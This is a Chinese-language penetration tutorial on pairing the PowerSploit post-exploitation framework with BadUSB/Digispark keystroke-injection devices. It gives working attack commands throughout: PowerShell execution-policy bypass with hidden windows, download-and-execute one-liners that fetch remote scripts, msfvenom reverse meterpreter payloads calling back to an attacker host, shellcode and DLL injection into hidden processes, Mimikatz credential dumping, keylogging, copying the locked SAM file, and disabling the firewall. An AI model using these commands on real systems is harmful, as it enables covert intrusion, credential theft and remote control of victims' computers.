PowerSploit与Badusb联合进行渗透
0x00 PowerShell 介绍
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和编写者可以利用,NET Framework的强大功能。
它引入了许多非常有用的新概念,从而进一步扩展了您在Windows命令提示符和Windows Script Host 环境中获得的知识和创建的脚本。
PowerShell诞生于vista时代,在系统中有着强大的功能,可以方便的调用Windows API等等。很多多人忽略了他,但其是一座待开发的金矿,在后渗透测试中产给我们带来意外的惊喜。
0x01 PowerShell执行策略
输入:get-executionpolicy 查看现用执行策略
Restricted—默认的设置,不允许任何script
AllSigned—只能运行经过数字签名的script
RemoteSigned—运行本地的script不需要数字签名,但是要运行从网络上下载的script就必须要有数字签名。
Unrestricted—允许所有的script
修改策略:set-executionpolicy [策略名称]
测试:
“$PSVersionTable.PSVersion”写入test.psl 如果脚本成功执行就是打印出这句话
执行:
.\test.ps1 如果是普通用户的话会被禁用
绕过:
powershell.exe –ExecutionPolicy Bypass –file .\test.ps1
注意:想要修改执行策略需要超级管理员权限,因此对于内网渗透提权是一个打击。但是可以绕过执行策略限制。
本地权限绕过执行:
Powershell.exe –ExecutionPolicy Bypass –File .\xxx.ps1
本地隐藏权限绕过执行脚本:
PowerShell.exe –ExecutionPolicy Bypass –Nologo –NonInteractive –Noprofile –WindowStyle Hidden –File xxx.ps1
直接用IEX下载远程的PS1脚本回来权限绕过执行:
Powershell “IEX(New-ObjectNet.WebClient).DownloadString(‘https://is.gd/oeoFul’)”;Invoke-Mimikatz –dumpCreds”
0x02 PowerSploit
Powersploit**是一款基于powershell的后渗透(Post-exploitation)框架,集成大量渗透相关模块和功能。**
Github地址:[powersploit](https://github.com/PowerShellMafia/PowerSploit)
将下载下来的powersploit文件夹内的所有文件(不含powersploit文件夹)拷贝到/var/www/html/ 目录下
模块介绍
codexecution | 在目标主机执行代码 |
---|---|
ScriptModification | 在目标主机上创建或修改脚本 |
Persistence | 后门脚本(持续性控制) |
AntivirusBypass | 发现杀软查杀特征 |
Exfiltration | 目标主机上的信息收集工具 |
Mayhem | 蓝屏等破环形脚本 |
Recon | 以目标主机为跳板进行内网信息侦查 |
功能介绍
(1)Invoke-Shellcode
将shellcode插入选择的进程ID或本地PowerShell中
IEX (New-Object Net.WebClient).DownloadString(“http://IP/CodeExecution/Invoke–Shellcode.ps1”)
1.攻击者生成payload反弹木马
msfvenom –p windows/meterpreter/reverse_https lhost=192.168.98.94 lport=5555 –f powershell –o /var/www/html/payload
2.监听本机 5555 端口
使用msf exploit/multi/handler模块即可
3.下载相应脚本
IEX (New-Object Net.WebClient).DownloadString(“http://192.168.98.94/CodeExecution/Invoke-Shellcode.ps1”)
4.下载反弹木马
IEX (New-Object Net.Webclient).DownloadString(“http://192.168.98.94/test”)
5.在powershell下运行
Invoke-Shellcode -Shellcode($buf)
完成以上三个命令得到一个meterpreter后渗透会话
注入进程:
1.使用 PS 或者 Get-Process 来获取当前进程
ps | Get-Process
2.启动一个记事本,并把他设置为隐藏的
Start-Process C:\Windows\system32\notepad.exe –windowStyle Hidden
3.插入进程中,同样反弹成功
Invoke-Shellcode -ProcessID PID -Shellcode($buf) –Force
(2)Invoke-DLLinjection .dll注入
1.下载相应脚本
IEX (New-Object Net.WebClient).DownloadString(“http://192.168.98.94/CodeExecution/Invoke-DllInjection.ps1”)
2.生成反弹dll文件
2.msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.98.94 lport=5555 -f dll -o /var/www/html/test.dll
3.不可以使用powershell进行下载,之后可以使用badusb进行下载执行
IEX (New-Object Net.WebClient).DownloadString(“http://192.168.98.94/test.dll”)
4.注入进程,切换payload,开始监听,成功反弹
Invoke-DllInjection -ProcessID PID -Dll .\test.dll
(3)Invoke-Portscan端口扫描
1.下载相应脚本
IEX (New-Object Net.WebClient).DownloadString(“http://192.168.98.94/Recon/Invoke-Portscan.ps1”)
2.进行端口扫描
Invoke-Portscan -Hosts 192.168.98.95.1,192.168.98.96 -Ports “80,22,3389”
(4)Invoke-Mimikatz Mimikatz
1.下载相应脚本
IEX (New-Object Net.WebClient).DownloadString(“http://192.168.98.94/Exfiltration/Invoke-Mimikatz.ps1”)
2.读取密码(需要管理员权限)
Invoke-Mimikat –DumpCreds
(5)Get-Keystrokes 键盘记录
1.下载相应脚本
IEX (New-Object Net.WebClient).DownloadString(“http://192.168.98.94/Exfiltration/Get-Keystrokes.ps1”)
2.键盘记录(记录十分详细,连鼠标点击也可以记录,需要管理员权限)
Get-Keystrokes –LogPath + <保存位置>
(6)Invoke-NinjaCopy 文件复制
1.下载相应的脚本
IEX (New-Object Net.WebClient).DownloadString(“http://192.168.98.94/Exfiltration/Invoke-NinjaCopy.ps1”)
2.复制文件(需要管理员权限,一开机就加锁的sam文件也可以复制)
Invoke-NinjaCopy –Path “文件目录”-LocalDestination “复制目录”
0x03 HID Attack
HID**是Human Interface Device的缩写,例如键盘、鼠标与等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。**
由于电脑对这类设备缺少严格的检测措施,只是简单的识别设备类型,就允许设备对电脑进行各项操作。所以,通过修改篡改设备反馈信息,就可以很轻松的让电脑将其他设备误认为HID设备,从而获取控制权限。尤其是USB和蓝牙这类即插即用接口出现,导致HID Attack成为重要方式。例如,Bad USB就是USB类攻击的典型代表。
通过硬件直接插入对方电脑,让对方电脑执行代码,达到干扰、控制主机或者窃取信息等目的。
0x04 Badusb
一般来说,USB 设备有两种,一种是 Host,比如电脑,可以去读取其他 USB 设备的数据,另外一种是 Device,比如键盘鼠标优盘。所以从根本上来说,制作一个 Bad USB 核心要求只有一个,就是自身可以作为 USB Device。
BadUSB最可怕的一点是恶意代码存在于U盘的固件中,由于PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB进行攻击。
U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。
BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。
USB协议漏洞:
现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。
0x05 常见的Badusb
1.hak5的USB RUBBER DUCKY
https://hakshop.com/products/usb-rubber-ducky-deluxe
2.Digispark(Attiny85微型) USB接口开发板
)
3.国内大多是采用的Teensy 或者Arduino Leonardo,淘宝上还有厂商制作的U盘模样的Arduino Leonardo
0x06 Digispark
Digispark**是一个基于ATTINY85微控制器的USB开发板,体积小且价钱便宜,功能方面则没有Arduino般强大。代码与Arduino大同小异,更可贵的是使用Arduino IDE来开发。淘宝上直接搜索Digispark就能看到了,价格在7-10元不等。**
配置环境
百度云链接:
https://pan.baidu.com/s/1MmbIlSmIL3wGmaRO4RPjTA 密码:qaqs
Digispark官方教程
http://digistump.com/wiki/digispark/tutorials/connecting
Arduino IDE:
https://www.arduino.cc/en/Main/Software
Digispark的驱动:
https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip
payload hak5的USB-Rubber-Ducky:
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads
Digispark翻译脚本:
https://github.com/toxydose/Duckyspark
1.安装驱动
Digistump.Drivers目录下
32位系统安装 DPinst.exe
64位系统安装 DPinst64.exe
注意下图提示框的选择:
2.安装IDE
解压缩 arduino-1.8.3-windows-IDE.zip
拷贝到C:\Program Files\arduino-1.8.3目录下
运行:arduino.exe
3.设置arduino
第一步:
第二步:填写附加开发板管理器网址:http://digistump.com/package_digistump_index.json
第三步 打开开发板管理器
等待下载完
然后在“类型”中选择“贡献”
点击安装Digistump AVR boards by Digistump
等待下载的完成
出现下图时表示安装完成了:
工具-开发板- 选择:Digispark(Default -16.5Mhz):-如下图
然后如下图操作
项目-加载库-添加一个.zip库……(此处无法截图)
然后将Keyboard.zip载入
0x07 HID Attack 测试
1.使用hak5-USB RUBBER DUCKY payload进行测试
2.使用PowerSploit进行联合测试
1.创建一个test.txt文件,内容如下:
DELAY 5000 |
2.运行payload转化脚本
python Duckyspark_translator.py e:\test1.txt e:\powershell
3.打开 生成的powershell.ino 文件将其内容拷贝到arduino 中编译
4.当编译没有错误时 插入badusb 然后点击“上传”(如下图)
5.监听相应端口
msfconsole use exploit/multi/handler |
6.msfvenom生成一个powershell脚本:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.99.135 LPORT=5555 -f powershell -o /var/www/html/test |
7.然后主机插入badusb 反弹成功
3.使用自己搭建的ftp等互联网服务进行渗透
(1)用管理员权限打开cmd,进入用户目录,关闭防火墙。
注1:如果用户防火墙开着在下载文件的时候会弹出提示,这样操作就会失败。
注2:如果用户装了安全软件如360这种,关闭防火墙的时候会有告警弹出,也会失败。
cd %USERPROFILE%
netsh firewall set opmode mode=disable profile =ALL
(2)通过执行ftp命令txt文件进行利用
ftp -s:ftp.txt
4. 利用其他小工具、更加复杂的命令等你可以想到的骚思路来进行渗透
1.tv_dump.exe 获取teamviewer用户名密码
2.mimikatz | WebBrowserPassView 等
3.包括一些ukey接口以及终端服务机器等
ps:
1.win7的补丁可能破坏了powershell,导致崩溃,若崩溃,就将tcp协议换为http协议,再进行回连。
2.注意回连不成功,可能是没有打开apache服务器,没开SSH。
3.用Arduino打开时,一个文件夹下只能有一个ino文件,否则编译时会出错。
4.用python 3.多的版本运行脚本
5.在该脚本路径下敲cmd运行脚本
6.txt放在c盘之外再编译成powershell脚本
7.编译时去掉注释